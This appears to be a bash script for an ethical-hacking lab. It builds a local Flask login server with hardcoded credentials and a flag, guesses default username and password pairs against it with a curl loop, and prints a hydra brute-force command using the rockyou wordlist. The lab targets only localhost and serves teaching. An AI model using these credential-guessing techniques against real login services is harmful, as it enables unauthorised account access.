EH-03: Authentication Basics - Brute Force & Bypass

cd ~ && mkdir -p eth-lab3 && cd eth-lab3

cat > server.py << 'PYEOF'
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/login', methods=['POST'])
def login():
    data = request.json or {}
    if data.get('user') == 'admin' and data.get('pass') == 'admin123':
        return jsonify({"token": "flag{Auth_Bypass}"})
    return jsonify({"error": "Invalid"}), 401
app.run(port=9001)
PYEOF

python3 server.py &
sleep 1

# 1. Default credentials
echo "=== 1. Default Creds ==*"
for u in admin root user; do
  for p in admin admin123 password 123456; do
    r=$(curl -s -X POST http://localhost:9001/login -H "Content-Type: application/json" \
         -d "{\"user\":\"$u\",\"pass\":\"$p\"}")
    echo "$r" | grep -q token && echo "  ✅ $u:$p → $(echo $r | grep -o 'flag{.*}')"
  done
done

# 2. Brute force with hydra (simulasi)
echo ""
echo "=== 2. Hydra Brute Force ==*"
echo "hydra -l admin -P /usr/share/wordlists/rockyou.txt localhost -s 9001 http-post-form \"/login:user=^USER^\&pass=^PASS^:Invalid\""

kill %1 2>/dev/null